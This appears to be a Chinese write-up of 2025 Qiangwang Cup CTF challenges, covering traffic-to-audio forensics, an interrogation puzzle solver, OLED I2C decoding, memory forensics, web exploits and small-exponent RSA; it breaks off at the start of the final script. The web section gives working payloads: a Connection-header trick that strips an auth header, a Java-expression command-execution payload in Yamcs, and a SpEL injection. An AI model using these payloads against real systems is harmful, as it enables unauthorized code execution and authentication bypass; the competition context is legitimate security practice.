2025强网杯

Misc

签到

flag{我已阅读参赛须知,并遵守比赛规则。}


问卷调查

完成调查问卷获取flag


谍影重重 6.0

pic

Data.pcap wireshark打开发现都是udp流量且长度都一致。一开始觉得是硬编码了数据在流量包里 于是把payload导出。

tshark -r Data.pcap -Y "udp" -T fields -e udp.payload > udp_payloads_hex.txt

pic

发现前面24位会有变化 但后面都一样 都是fff….
一开始在想是不是跟游程编码或者字符出现频率有什么关系 但是验证之后都不是
往后面翻发现又有一些是ef7e7e…的重复序列 然后就猜想会不会跟音频有关

pic

一共有324w以上个数据包,先尝试把前5k个转换成音频,听到“我去拿杯水 等一会回来 ,地点:停车场…”
思路正确 于是把整一个payload文件udp_payloads_hex.txt都转换为音频

import binascii
import wave
import os
import time


def convert_full_audio(input_file="udp_payloads_hex.txt", output_base="full_audio"):
"""将整个文件转换为音频(只做转换)"""
print(f"开始转换: {input_file} -> 音频文件")
print("=" * 50)

# 读取所有数据包
with open(input_file, 'r') as f:
hex_lines = [line.strip() for line in f if line.strip()]

total_packets = len(hex_lines)
print(f"总共 {total_packets} 个数据包")

# 分批处理以避免内存问题
batch_size = 50000
total_batches = (total_packets + batch_size - 1) // batch_size

all_audio_data = b''
start_time = time.time()

for batch_num in range(total_batches):
batch_start = batch_num * batch_size
batch_end = min((batch_num + 1) * batch_size, total_packets)
batch_lines = hex_lines[batch_start:batch_end]

print(f"处理批次 {batch_num + 1}/{total_batches} (包 {batch_start + 1}-{batch_end})")

# 处理当前批次
batch_data = b''
for i, hex_line in enumerate(batch_lines):
try:
data = binascii.unhexlify(hex_line)
batch_data += data
except:
continue

all_audio_data += batch_data

# 显示进度
elapsed = time.time() - start_time
packets_processed = batch_end
progress = (packets_processed / total_packets) * 100
print(f" 进度: {packets_processed}/{total_packets} ({progress:.1f}%) - 用时: {elapsed:.1f}秒")

total_time = time.time() - start_time
print(f"\n转换完成! 用时: {total_time:.1f}秒")
print(f"总音频数据: {len(all_audio_data)} 字节 ({len(all_audio_data) / 1024 / 1024:.2f} MB)")

return all_audio_data


def save_audio_files(audio_data, base_name="full_audio"):
"""保存为多种音频格式"""
print(f"\n保存音频文件...")
print("=" * 50)

created_files = []

# 1. 8-bit PCM 8kHz
try:
wav_8k = f"{base_name}_8k.wav"
with wave.open(wav_8k, 'wb') as wav:
wav.setnchannels(1)
wav.setsampwidth(1)
wav.setframerate(8000)
wav.writeframes(audio_data)
created_files.append(wav_8k)
print(f"✓ {wav_8k}")
except Exception as e:
print(f"✗ 8kHz 失败: {e}")

# 2. 8-bit PCM 16kHz
try:
wav_16k = f"{base_name}_16k.wav"
with wave.open(wav_16k, 'wb') as wav:
wav.setnchannels(1)
wav.setsampwidth(1)
wav.setframerate(16000)
wav.writeframes(audio_data)
created_files.append(wav_16k)
print(f"✓ {wav_16k}")
except Exception as e:
print(f"✗ 16kHz 失败: {e}")

# 3. 如果文件太大,创建分段版本
if len(audio_data) > 50 * 1024 * 1024: # 大于50MB时分段
segment_size = 10 * 1024 * 1024 # 每段10MB
segments = (len(audio_data) + segment_size - 1) // segment_size

for i in range(segments):
start = i * segment_size
end = min((i + 1) * segment_size, len(audio_data))
segment_data = audio_data[start:end]

segment_file = f"{base_name}_part{i + 1}_8k.wav"
try:
with wave.open(segment_file, 'wb') as wav:
wav.setnchannels(1)
wav.setsampwidth(1)
wav.setframerate(8000)
wav.writeframes(segment_data)
created_files.append(segment_file)
print(f"✓ {segment_file} ({len(segment_data) / 1024 / 1024:.1f}MB)")
except Exception as e:
print(f"✗ 分段 {i + 1} 失败: {e}")

return created_files


def main():
"""主函数 - 只做转换"""
input_file = "udp_payloads_hex.txt"
output_base = "converted_audio"

if not os.path.exists(input_file):
print(f"错误: 文件 {input_file} 不存在!")
return

print("开始纯音频转换...")
print("=" * 60)

total_start = time.time()

try:
# 1. 转换所有数据
audio_data = convert_full_audio(input_file, output_base)

# 2. 保存音频文件
audio_files = save_audio_files(audio_data, output_base)

total_time = time.time() - total_start

print(f"\n" + "=" * 60)
print(f"🎉 转换完成! 总用时: {total_time:.1f}秒")
print(f"\n生成的音频文件:")
for file in audio_files:
size_mb = os.path.getsize(file) / 1024 / 1024
print(f" 📁 {file} ({size_mb:.1f} MB)")

print(f"\n建议:")
print(f"1. 先尝试播放 {audio_files[0]} 听是否有语音")
print(f"2. 如果文件太大,播放分段版本")
print(f"3. 仔细听静音部分,密码可能在语音中说出")

except Exception as e:
print(f"转换失败: {e}")
import traceback
traceback.print_exc()


if __name__ == "__main__":
main()

pic

最后得到各个部分的音频文件以及整个音频文件

pic

用audacity进行降噪处理,最后在数据包的4w-5w区间听取到关键信息

第九届强网杯2025震撼来袭,你准备好了吗? xxx65 146 63 145 142 71 61 66 142 146 60 70 145 66 61 60 141 145 142 60 71 146 66 60 142 143 71 65 065 142 144 70

经过多种转换验证八进制转换的结果就是压缩包的密码

pic

5f3eb916bf08e610aeb09f60bc955bd8

pic

得到一个录音以及一个txt文件

pic

录音转文字:
表兄,近日可好?
上回托您带的廿四担秋茶,家母嘱咐,务必在辰时正过三刻前送到。切记用金丝锦盒装妥。此处朝气重
一切安好。我快按照要求准备好秋茶,我该送到何地?
送至双里湖西岸,南山茶铺。放右边第二个橱柜,莫放错。
我已知悉。你在那边可还安好?
一切安好。希望你我二人早日相见。
指日可待。
茶叶送到了,但是晚了时日。茶铺开来只能另寻良辰吉日了。你在那边,千万保重。

需要分析传递的具体时间
“务必在辰时正过三刻前送到”
时间解读:

  • 辰时:古代时辰,对应现代时间 7:00-9:00
  • 辰时正:辰时的正中,即 8:00
  • 过三刻:一刻为15分钟,三刻为45分钟
  • 辰时正过三刻:8:00 + 45分钟 = 8:45

pic

廿四担秋茶是霜降之后的茶,但是时间又是上午8:45,猜测具体日期是10月24日

pic

根据查阅得知
时间:1949年10月24日8时45分
地点:双里湖西岸,南山茶铺(古宁头)
flag{2a97dec80254cdb5c526376d0c683bdd}

The_Interrogation_Room

信息整理:

  • 有 8个秘密 (S0-S7),每个是True或False
  • 可以问 17个问题
  • 囚犯会回答True/False,但会恰好撒谎2次
  • 需要推断出8个秘密的真实值

pic

进入环境前需要爆破

import hashlib  
import itertools
import string

def solve_pow(suffix, target_hash, length=4, charset=string.ascii_letters + string.digits):
for candidate in itertools.product(charset, repeat=length):
candidate_str = ''.join(candidate)
s = candidate_str + suffix
h = hashlib.sha256(s.encode()).hexdigest()
if h == target_hash:
return candidate_str
return None

suffix = "Z7UlZmwQ72DaJZaZ"
target = "b486aa8e4fab1923824af44d404ab513626fe2b26f988fa825025d896927921b"

result = solve_pow(suffix, target)
if result:
print("Found XXXX:", result)
else:
print("Not found")

self.send("Now reveal the true secrets (1 for true, 0 for false):")
return secrets == list(map(int, self.recv().split(" ")))

根据源码,提问需要按照指定的格式,否则需要重连,由于需要循环25轮,用脚本完成,如下:

#!/usr/bin/env python3
import string
from hashlib import sha256
from itertools import product
from pwn import *
import re

# --- Server Connection Details ---
HOST = '8.147.135.195'
PORT = 30837

def solve_pow(io):
"""Solves the proof-of-work challenge."""
line = io.recvline().decode().strip()
log.info(f"PoW line: {line}")

match = re.search(r'sha256\(XXXX\+([a-zA-Z0-9]+)\) == ([0-9a-f]+)', line)
if not match:
log.error("Failed to parse PoW challenge")
return False

suffix = match.group(1)
target_hash = match.group(2)

log.info(f"Solving PoW: suffix={suffix}, target={target_hash}")

alphabet = string.ascii_letters + string.digits
for p in product(alphabet, repeat=4):
prefix = "".join(p)
if sha256((prefix + suffix).encode()).hexdigest() == target_hash:
log.success(f"PoW solution found: {prefix}")
io.sendlineafter(b'Give me XXXX: ', prefix.encode())
return True

log.error("Could not solve PoW.")
return False

# 使用简单重复的问题策略 - 确保括号两边有空格
QUESTIONS = [
"( S0 )", "( S1 )", "( S2 )", "( S3 )", "( S4 )", "( S5 )", "( S6 )", "( S7 )",
"( S0 )", "( S1 )", "( S2 )", "( S3 )", "( S4 )", "( S5 )", "( S6 )", "( S7 )",
"( S0 )" # 额外多问一次S0提供冗余
]

def solve_round_optimized(io, round_num):
"""优化的求解算法 - 基于汉明距离和暴力搜索"""
log.info(f"Starting round {round_num}")

# 等待问题提示
io.recvuntil(b'Ask your question:')

# 1. 提问并记录答案
responses = []
for i, q in enumerate(QUESTIONS):
io.sendline(q.encode())
response_line = io.recvuntil(b'!\n').decode()

if 'True' in response_line:
responses.append(True)
else:
responses.append(False)

log.info(f"Q{i+1}: {q} -> {responses[-1]}")

# 如果不是最后一个问题,等待下一个问题提示
if i < len(QUESTIONS) - 1:
io.recvuntil(b'Ask your question:')

log.info(f"Responses: {''.join(['T' if r else 'F' for r in responses])}")

# 2. 优化的暴力搜索 - 找到所有满足2次谎言的解
all_solutions = []

# 遍历所有可能的秘密组合
for secrets in product([False, True], repeat=8):
# 计算这个秘密组合下的真实答案
truth_values = []
for q in QUESTIONS:
# 简单解析问题
if q == "( S0 )": truth_values.append(secrets[0])
elif q == "( S1 )": truth_values.append(secrets[1])
elif q == "( S2 )": truth_values.append(secrets[2])
elif q == "( S3 )": truth_values.append(secrets[3])
elif q == "( S4 )": truth_values.append(secrets[4])
elif q == "( S5 )": truth_values.append(secrets[5])
elif q == "( S6 )": truth_values.append(secrets[6])
elif q == "( S7 )": truth_values.append(secrets[7])

# 计算汉明距离
distance = sum(1 for i in range(17) if responses[i] != truth_values[i])

# 如果恰好有2个差异,找到解
if distance == 2:
solution = [1 if s else 0 for s in secrets]
if solution not in all_solutions:
all_solutions.append(solution)
log.debug(f"Found solution: {solution}")

if not all_solutions:
log.error("No solution found!")
return False

log.info(f"Found {len(all_solutions)} possible solution(s)")

# 3. 选择最佳解
if len(all_solutions) == 1:
selected_solution = all_solutions[0]
log.success(f"Unique solution: {selected_solution}")
else:
# 多解情况:使用智能选择策略
log.warning(f"Multiple solutions found: {all_solutions}")

# 策略1: 选择谎言位置最分散的解
best_solution = None
best_score = -1

for solution in all_solutions:
secrets_bool = [bool(s) for s in solution]

# 计算谎言位置的分布分数
score = 0
# 谎言越分散越好(前8问题和后9问题各一个谎言)
lie_positions = []
for i in range(17):
truth = secrets_bool[i % 8] # 简单问题的真实答案
if responses[i] != truth:
lie_positions.append(i)

if len(lie_positions) == 2:
# 如果谎言分布在不同的半区,给高分
lie1, lie2 = lie_positions
if (lie1 < 8 and lie2 >= 8) or (lie1 >= 8 and lie2 < 8):
score = 2
else:
score = 1

if score > best_score:
best_score = score
best_solution = solution

selected_solution = best_solution
log.success(f"Selected solution {selected_solution} with distribution score {best_score}")

# 4. 提交答案 - 格式:空格分隔的8个0/1
solution_str = " ".join(map(str, selected_solution))
log.info(f"Submitting: {solution_str}")
io.sendlineafter(b'Now reveal the true secrets (1 for true, 0 for false):', solution_str.encode())

# 5. 检查结果
result_line = io.recvline().decode()
log.info(f"Round result: {result_line.strip()}")

if "scowls" in result_line or "expose his lies" in result_line:
return True
else:
log.error("Round failed!")
# 记录失败信息用于调试
if len(all_solutions) > 1:
log.error(f"Had {len(all_solutions)} possible solutions, tried: {selected_solution}")
log.error(f"All possible solutions were: {all_solutions}")
return False

def main():
context.log_level = "info"

try:
io = remote(HOST, PORT)
except Exception as e:
log.error(f"Connection failed: {e}")
return

# Solve the initial proof-of-work
if not solve_pow(io):
io.close()
return

# 接收初始消息
welcome = io.recvuntil(b'Ask your question:').decode()
log.success("Connected to interrogation room")

# 完成25轮
success_rounds = 0
for i in range(25):
log.info(f"=== Round {i + 1}/25 ===")
if solve_round_optimized(io, i + 1):
success_rounds += 1
log.success(f"✓ Round {i + 1} passed")

# 检查第10轮的gift
if i == 9:
try:
gift = io.recvline(timeout=2).decode()
log.success(f"🎁 Round 10 Gift: {gift.strip()}")
# 如果gift包含flag,可以提前退出
if 'flag' in gift.lower() or 'FLAG' in gift:
log.success("🎉 Flag found in gift!")
# 继续完成所有轮次以确保拿到完整flag
except:
log.info("No gift received")

# 检查是否还有下一轮
if i < 24:
try:
next_prompt = io.recvuntil(b'Ask your question:', timeout=3)
log.info("Moving to next round...")
except:
log.info("No more rounds detected")
break
else:
log.error(f"✗ Failed at round {i + 1}")
break

# 接收最终结果
log.info("Waiting for final flag...")
try:
final_output = io.recvall(timeout=5).decode()
log.success("=" * 60)
log.success("FINAL RESULT:")
print(final_output)
log.success("=" * 60)

# 自动提取flag
if 'flag{' in final_output:
flag_match = re.search(r'flag\{[^}]+\}', final_output)
if flag_match:
log.success(f"🎉 FLAG FOUND: {flag_match.group()}")
elif 'gift' in final_output.lower():
log.info("Found gift message, may contain partial flag")
except Exception as e:
log.error(f"Error receiving final output: {e}")

io.close()
log.info(f"Completed {success_rounds}/25 rounds")

if __name__ == "__main__":
main()

pic

legacyOLED

结合ai整理的考点如下:

  • I2C通信协议解析
  • SSD1306 OLED驱动芯片命令集t
  • 设备地址识别(0x3C)
  • GDDRAM内存映射理解(8页×128列)
  • 比特位到像素的转换
  • 显示参数校准(SEG/COM/起始行)
  • 多帧动画数据提取
  • 窗口寻址(0x21/0x22命令)藏数据
    总结思路就是:从OLED的I2C通信数据中重构显示图像,通过校准显示参数在多帧动画中找到隐藏的flag。
    I2C数据提取:

pic

得到文件:

1.txt

与ai交流过程如下:

pic
pic
pic
pic
pic
pic
pic

脚本如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
oled_calib_gif.py (with per-frame PNG export and forced 180° rotation)
-----------------------------------------------------------------------
从 Saleae/logic 的 I2C 文本导出解析 SSD1306 OLED,自动校准后渲染所有帧为 GIF,
并把每一帧另存为 PNG。最终导出的 PNG 和 GIF 统一“顺时针 180°”旋转。

用法示例:
python oled_calib_gif.py --input 132.txt --ref logo.png \
--out-gif ssd1306_calib.gif --out-still ssd1306_calib_best.png \
--scale 4 --frames-dir frames_out
"""
import re, argparse, os
from pathlib import Path
from typing import List, Tuple
import numpy as np
from PIL import Image, ImageOps, ImageDraw

ADDR_RE = re.compile(r"Address write:\s*([0-9A-Fa-f]{2})")
DATA_RE = re.compile(r"Data write:\s*([0-9A-Fa-f]{2})")
STOP_RE = re.compile(r"\bStop\b")

W, H, PAGES = 128, 64, 8

class SSD1306:
def __init__(self):
self.gdd = np.zeros((PAGES, W), dtype=np.uint8)
self.mode = 2 # 0=H, 1=V, 2=Page
self.seg = 0 # A0/A1 segment remap (0=normal,1=mirror)
self.com = 0 # C0/C8 COM scan (0=normal,1=flip)
self.start = 0 # 0..63
self.page = 0; self.col = 0
self.c0, self.c1 = 0, W-1
self.p0, self.p1 = 0, PAGES-1
self.pending = None; self.expect = 0
self.changed = False

def set_page(self, v): self.page = max(0, min(PAGES-1, v))
def set_col (self, v): self.col = max(0, min(W-1, v))

def cmd(self, b:int):
if self.pending is not None:
if self.pending==0x20 and self.expect==1: self.mode=b&3; self.pending=None; self.expect=0; return
if self.pending==0x21:
if self.expect==2: self.c0=min(max(0,b),W-1); self.expect=1; return
if self.expect==1: self.c1=min(max(0,b),W-1); self.set_col(self.c0); self.pending=None; self.expect=0; return
if self.pending==0x22:
if self.expect==2: self.p0=min(max(0,b),PAGES-1); self.expect=1; return
if self.expect==1: self.p1=min(max(0,b),PAGES-1); self.set_page(self.p0); self.pending=None; self.expect=0; return
self.pending=None; self.expect=0; return

if 0xB0<=b<=0xB7: self.set_page(b-0xB0); return
if 0x00<=b<=0x0F: self.set_col((self.col & 0xF0) | (b & 0xF0) | (b & 0x0F)); return
if 0x10<=b<=0x1F: self.set_col(((b & 0x0F)<<4) | (self.col & 0x0F)); return
if 0x40<=b<=0x7F: self.start=b & 0x3F; return
if b==0xA0: self.seg=0; return
if b==0xA1: self.seg=1; return
if b==0xC0: self.com=0; return
if b==0xC8: self.com=1; return
if b==0x20: self.pending=0x20; self.expect=1; return
if b==0x21: self.pending=0x21; self.expect=2; return
if b==0x22: self.pending=0x22; self.expect=2; return

def write(self, byte:int):
if 0<=self.page<PAGES and 0<=self.col<W:
prev = int(self.gdd[self.page, self.col])
self.gdd[self.page, self.col] = byte & 0xFF
if prev != (byte & 0xFF): self.changed=True

if self.mode==0: # horizontal
self.col += 1
if self.col > self.c1:
self.col = self.c0
self.page += 1
if self.page > self.p1: self.page = self.p0
elif self.mode==1: # vertical
self.page += 1
if self.page > self.p1:
self.page = self.p0
self.col += 1
if self.col > self.c1: self.col = self.c0
else: # page
self.col += 1
if self.col >= W: self.col = 0

def to_bitmap(self, bit_rev=False) -> np.ndarray:
"""Return a 0/1 bitmap (H x W). bit_rev=True flips page-internal bit order."""
arr = np.zeros((H, W), dtype=np.uint8)
for p in range(PAGES):
for x in range(W):
b = int(self.gdd[p, x])
if b:
for bit in range(8):
bit_idx = (7-bit) if bit_rev else bit
if (b >> bit_idx) & 1:
xx = (W-1-x) if self.seg else x
yy = p*8 + bit
if self.com: yy = (H-1) - yy
yy = (yy - self.start) % H
arr[yy, xx] = 1
return arr

def parse_snapshots(lines:List[str], addrs:Tuple[int,...]=(0x3C,)) -> list:
"""Parse I2C text into a list of snapshots: [(gdd_copy, state_dict), ...]"""
emu = SSD1306()
addr=None; ctrl=None; snaps=[]
for line in lines:
ma = ADDR_RE.search(line); md = DATA_RE.search(line)
if ma:
addr = int(ma.group(1),16); ctrl=None
elif md and addr in addrs:
b = int(md.group(1),16)
if ctrl is None:
ctrl = b
else:
if ctrl == 0x00: emu.cmd(b)
elif ctrl == 0x40: emu.write(b)
elif STOP_RE.search(line):
if emu.changed:
snaps.append( (emu.gdd.copy(), dict(mode=emu.mode, seg=emu.seg, com=emu.com, start=emu.start)) )
emu.changed=False; ctrl=None; addr=None
# final state
snaps.append( (emu.gdd.copy(), dict(mode=emu.mode, seg=emu.seg, com=emu.com, start=emu.start)) )
return snaps

def render_with_params(gdd, state, bit_rev=False, extra_mirror=False, rot=0, roll=0, invert=False, scale=4) -> Image.Image:
# build arr considering the controller state first
emu = SSD1306()
emu.gdd = gdd.copy()
emu.seg = state["seg"]; emu.com = state["com"]; emu.start = state["start"]
arr = emu.to_bitmap(bit_rev=bit_rev)
if extra_mirror:
arr = np.ascontiguousarray(np.fliplr(arr))
if roll:
arr = np.roll(arr, roll, axis=0)
img = Image.fromarray(arr*255).convert("1")
if rot in (90,180,270):
img = img.rotate(rot, expand=False)
if invert:
img = ImageOps.invert(img.convert("L")).convert("1")
if scale != 1:
img = img.resize((img.width*scale, img.height*scale), Image.NEAREST)
return img

def binarize_ref(path:str, thr=200) -> np.ndarray:
ref = Image.open(path).convert("L")
a = np.array(ref)
m = (a > thr).astype(np.uint8)
ys, xs = np.where(m>0)
y0, y1 = ys.min(), ys.max()+1
x0, x1 = xs.min(), xs.max()+1
return m[y0:y1, x0:x1]

def sad_match(screen:np.ndarray, tpl:np.ndarray, stride:int=1):
Hc,Wc = screen.shape; Ht,Wt = tpl.shape
best=(10**9,0,0)
for y in range(0, Hc-Ht+1, stride):
for x in range(0, Wc-Wt+1, stride):
mism = np.count_nonzero(screen[y:y+Ht, x:x+Wt] ^ tpl)
if mism < best[0]:
best = (mism, y, x)
return best

def calibrate(best_snap, ref_bin:np.ndarray, stride:int=1):
gdd, state = best_snap
# search grid
candidates=[]
for bit_rev in (False, True):
for extra_mirror in (False, True):
for rot in (0, 90, 180, 270):
for roll in range(0,8): # vertical roll 0..7
# render 1-bit arr from gdd+state
emu = SSD1306(); emu.gdd = gdd.copy()
emu.seg = state["seg"]; emu.com = state["com"]; emu.start = state["start"]
arr = emu.to_bitmap(bit_rev=bit_rev)
if extra_mirror: arr = np.ascontiguousarray(np.fliplr(arr))
if roll: arr = np.roll(arr, roll, axis=0)
# rotate
img = Image.fromarray(arr*255).convert("1")
if rot in (90,180,270): img = img.rotate(rot, expand=False)
arr2 = (np.array(img, dtype=np.uint8)//255).astype(np.uint8)
# try a few template scales
for s in (0.6, 0.7, 0.8, 0.9, 1.0):
Ht=max(6, int(ref_bin.shape[0]*s)); Wt=max(6, int(ref_bin.shape[1]*s))
tpl = Image.fromarray((ref_bin*255).astype(np.uint8)).resize((Wt,Ht), Image.NEAREST)
tpl = (np.array(tpl)>127).astype(np.uint8)
score, yy, xx = sad_match(arr2, tpl, stride=stride)
candidates.append((score, bit_rev, extra_mirror, rot, roll, (yy,xx,Ht,Wt)))
candidates.sort(key=lambda x: x[0])
return candidates[0] # best

def main():
ap = argparse.ArgumentParser()
ap.add_argument("--input", required=True, help="I2C text dump (Saleae/logic style)")
ap.add_argument("--ref", required=True, help="Reference logo image (white on any background)")
ap.add_argument("--addr", action="append", default=["0x3C"], help="Device address hex string (repeatable). Default=0x3C")
ap.add_argument("--out-gif", default="ssd1306_calib.gif")
ap.add_argument("--out-still", default="ssd1306_calib_best.png")
ap.add_argument("--scale", type=int, default=4)
ap.add_argument("--invert", action="store_true")
ap.add_argument("--stride", type=int, default=1, help="Matcher stride (1=best/slow, 2/3=faster)")
ap.add_argument("--frames-dir", default=None, help="Directory to save each GIF frame as PNG (optional)")
args = ap.parse_args()

addrs = tuple(int(s,16) for s in args.addr)

lines = Path(args.input).read_text(encoding="utf-8", errors="ignore").splitlines()
snaps = parse_snapshots(lines, addrs=addrs)
if not snaps:
raise SystemExit("No snapshots built. Check --addr matches your dump (e.g., 0x3C or 0x3D).")

# Calibration on the last snapshot
ref_bin = binarize_ref(args.ref, thr=200)
best = calibrate(snaps[-1], ref_bin, stride=args.stride)
score, bit_rev, extra_mirror, rot, roll, (yy,xx,Ht,Wt) = best

# Render a labeled best still
arr = np.array(
render_with_params(snaps[-1][0], snaps[-1][1],
bit_rev, extra_mirror, rot, roll,
args.invert, args.scale).convert("L")
)
vis = Image.fromarray(arr).convert("L")
draw = ImageDraw.Draw(vis)
sx, sy = vis.width/128, vis.height/64
draw.rectangle([xx*sx, yy*sy, (xx+Wt)*sx, (yy+Ht)*sy], outline=200, width=3)

# === 最终导出前顺时针 180°(Pillow rotate 为逆时针,但 180°等价)===
vis = vis.rotate(180, expand=False)

vis.save(args.out_still)

# Prepare frames dir
if args.frames_dir:
out_dir = Path(args.frames_dir)
out_dir.mkdir(parents=True, exist_ok=True)
else:
out_dir = None

# Render all frames into a GIF with the same calibrated parameters
frames=[]; saved_paths=[]
for idx, (gdd, state) in enumerate(snaps):
im_full = render_with_params(gdd, state,
bit_rev, extra_mirror, rot, roll,
args.invert, args.scale)

# === 每帧导出/加入 GIF 前统一旋转 180° ===
im_full = im_full.rotate(180, expand=False)

if out_dir is not None:
fn = out_dir / f"frame_{idx:04d}.png"
im_full.convert("L").save(fn)
saved_paths.append(str(fn))
frames.append(im_full.convert("L").quantize(colors=2))

frames[0].save(args.out_gif, save_all=True, append_images=frames[1:], duration=150, loop=0)

print("Calibrated params:",
{"bit_rev":bit_rev,"extra_mirror":extra_mirror,"rot":rot,"roll":roll,"score":int(score)})
print("Wrote:", args.out_still, "and", args.out_gif)
if out_dir is not None:
print(f"Exported {len(saved_paths)} frame PNGs to: {out_dir}")

if __name__ == "__main__":
main()

最后分帧得到的图片:
pic

最后再像素点提取,然后解码得到flag:

pic

Personal Vault

下载附件得到MEMORY.DMP,先打开LovelyMem使用vol3分析。扫描进程得到
pic
看到这个进程和题目名字一模一样,可以确定肯定有信息。
采用正则表达式扫描等多种方法没有找到flag后,想到在现代Windows应用程序中,海量字符串并非以ASCII形式存在,而是Unicode(具体来说是UTF-16)。在UTF-16中,每个英文字符通常由两个字节表示,第二个字节往往是空字节 \x00。
最终的命令:venv\Scripts\python.exe vol.py -f MEMORY.DMP windows.vadregexscan.VadRegExScan –pid 5408 –pattern “f\x00l\x00a\x00g\x00.{0,100}”
找到了:flag{personal_vault_seems_a_little_volatile_innit}
pic

Web

SecretVault

  1. 题目概述
    题目描述:小明最近注册了很多网络平台账号,为了让账号使用不同的强密码,小明自己动手实现了一套非常“安全”的密码存储系统 – SecretVault,但是健忘的小明没记住主密码,你能帮他找找吗
    附件:包含docker-compose.yml、一个Flask后端应用和一个Go语言编写的授权服务的完整项目源码。
    解压附件后,得到了应用的完整源码。首先对项目结构进行分析。
    .
    ├── authorizer/
    │ ├── go.mod
    │ ├── go.sum
    │ └── main.go
    ├── docker-compose.yml
    ├── Dockerfile
    ├── entrypoint.sh
    └── vault/
    ├── app.py
    ├── requirements.txt
    ├── static/
    └── templates/
    └──instance/
    后端应用分析 (vault/app.py)
    Admin和Flag的创建: 应用在第一次启动时,会创建一个id=0的admin用户,并将flag作为一条密码条目加密存储在该用户下。所以目标是获得id=0的admin用户的权限。

pic

认证逻辑: 应用使用@login_required装饰器来保护需要登录的路由。
这里存在一个致命的缺陷:uid = request.headers.get(‘X-User’, ‘0’)。

  • 应用完全信任来自HTTP请求头中的X-User。
  • 如果X-User头不存在,get方法的默认值’0’会被使用。
  • 这意味着,只要能向Flask应用发送一个不包含X-User头的请求,就会被识别为id=0的admin用户!

pic

授权服务分析(authorizer/main.go):这里明确地使用req.Header.Del(“X-User”)来删除任何用户尝试伪造的X-User头,然后根据JWT中的信息设置一个新的、可信的X-User头。

pic

面对以上情况,想法是构造一个特殊的HTTP请求,这个请求能让Go反向代理在处理后,发给后端Flask应用的请求中正好没有X-User头。HTTP/1.1规范定义了一类名为“逐跳(Hop-by-Hop)”的头。代理服务器在转发请求时不应该传递它们。Connection头就用来声明哪些头是逐跳头。如下图例子:Connection: close, X-Foo, X-Bar在此示例中,我们要求代理将X-Foo和X-Bar视为逐跳处理。至此,思路已经大致清晰了。

pic

攻击过程:首先,正常注册并登录一个普通用户,例如username=id, password=id。这会在浏览器中获得一个合法的token cookie。使用这个token cookie访问/dashboard,并拦截该请求。
修改请求,加入:

  • Connection: X-User:声明X-User是一个逐跳头。
    成功得到flag

pic

yamcs

找到网站和上网搜索后可以看到是Yamcs(基于Java的开源任务控制系统)。分析题目附件Dockerfile可以得知Flag存储在容器根目录 /flag。点击和试了功能模块,寻找任何可能的输入点。最后点击进入 “Algorithms”,进入myproject后发现一个名为 copySunsensor 的算法。发现了里面的text可以编辑。语言 (Language) 类型被明确标识为: java-expression。这表明,服务器后端允许用户提交一段Java表达式,并会动态执行它。
最终payload:

try {
java.util.List<String> cmd = java.util.Arrays.asList("/bin/sh", "-c", "cat /flag");
java.lang.ProcessBuilder pb = new java.lang.ProcessBuilder(cmd);
pb.redirectErrorStream(true);
java.lang.Process p = pb.start();

java.io.InputStream is = p.getInputStream();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
byte[] buf = new byte[4096];
int r;
while ((r = is.read(buf)) != -1) {
baos.write(buf, 0, r);
}
is.close();

int rc = p.waitFor();

String out = new String(baos.toByteArray(), java.nio.charset.StandardCharsets.UTF_8);
if (out.endsWith("\n")) {
out = out.substring(0, out.length() - 1);
}
out += "\nEXIT_CODE=" + rc;

out0.setStringValue(out);

} catch (java.io.IOException ioe) {
out0.setStringValue("IOException: " + ioe.getMessage());
} catch (InterruptedException ie) {
java.lang.Thread.currentThread().interrupt();
out0.setStringValue("Interrupted: " + ie.getMessage());
}

pic
pic

bbjv

题目名称 bbjv 和描述 “a baby spring” 暗示了这是一个 Java Spring Boot 的题目。分析附件中的Dockerfile可以知道flag.txt 被复制到了容器的 /tmp/flag.txt 目录。
通过反编译 app.jar,我们可以得到以下关键代码:
pic

  • 控制器暴露了一个 /check 端点,接收一个 rule 参数。
  • rule 参数被传递给 evaluationService.evaluate() 方法执行。
  • 程序尝试读取 System.getProperty(“user.home”) 目录下的 flag.txt 文件,并将其内容附加到 evaluate 方法的返回结果中。在典型的 Docker 环境中,user.home 默认为 /root。
    pic
  • EvaluationService 使用 SpelExpressionParser 来解析和执行 rule 参数。
  • TemplateParserContext 表明 rule 被当作一个模板来处理,表达式需要放在 #{…} 中。
  • context 为 null,这意味着 SpEL 在 StandardEvaluationContext 下执行,这是一个权限非常高的上下文,为漏洞利用提供了可能。
    用户可以通过 rule 参数提交任意的 SpEL 表达式,这些表达式会在服务器端被执行。一个特性依然可用:访问和修改内置的 #systemProperties 变量。
    #systemProperties 是 SpEL StandardEvaluationContext 中一个内置的变量,它提供了对 JVM 系统属性的完全访问权限,包括读取和写入。目标是读取位于 /tmp/flag.txt 的 flag 文件。而应用程序默认读取的是 /root/flag.txt。因此思路是修改 user.home 系统属性的值,使其指向 /tmp。
  • SpEL表达式: #{#systemProperties['user.home']='/tmp'}
    payload:/check?rule=%23%7B%23systemProperties%5B%22user%2Ehome%22%5D%3D%22%2Ftmp%22%7D
    pic

Crypto

check-little

首先,查看 task.py 的源码。从代码中可以得到以下关键信息:

  1. RSA 加密:
  • 生成了两个 1024 位的素数 p 和 q,构成了 2048 位的模数 N。
  • 关键点: 公开指数 e 被硬编码为 3。这直接印证了题目描述中的提示:e好像很小,是不是有关呢?。
  • 一个名为 key 的秘密值被当作明文 m,使用 RSA 进行了加密:c = pow(key, 3, N)。
  1. AES 加密:
  • flag 被 key 的前16个字节作为密钥,使用 AES-CBC 模式进行了加密。
  1. 输出文件:
  • output.txt 文件中包含了 RSA 的模数 N、RSA 加密后的密文 c,以及 AES 加密的 iv 和 ciphertext。
    当 RSA 的公钥指数 e 非常小时(例如 e=3),就会存在一个严重的安全漏洞。
    RSA 的加密过程是:c ≡ m^e (mod N)
    如果明文 m 的值相对较小,使得 m^e < N,那么取模运算 mod N 将不起作用。加密方程会简化为:c = m^e
    在这种情况下,要从密文 c 中恢复明文 m,我们不再需要分解 N 或者计算私钥 d。只需要对 c 开 e 次方即可:m = c^(1/e)
    在本题中,e=3,加密的明文是 key。N 是一个 2048 位的整数,而 key 的长度通常不会那么长,因此 key^3 < N 的可能性非常高。
    所以,攻击路径非常清晰:
  1. 从 output.txt 中提取 N 和 c。
  2. 计算 c 的 3 次方根(立方根),得到 key 的整数表示。
  3. 将 key 转换成字节。
  4. 使用 key、iv 和 ciphertext 进行 AES 解密,恢复 flag。
    完整解题脚本:
import math
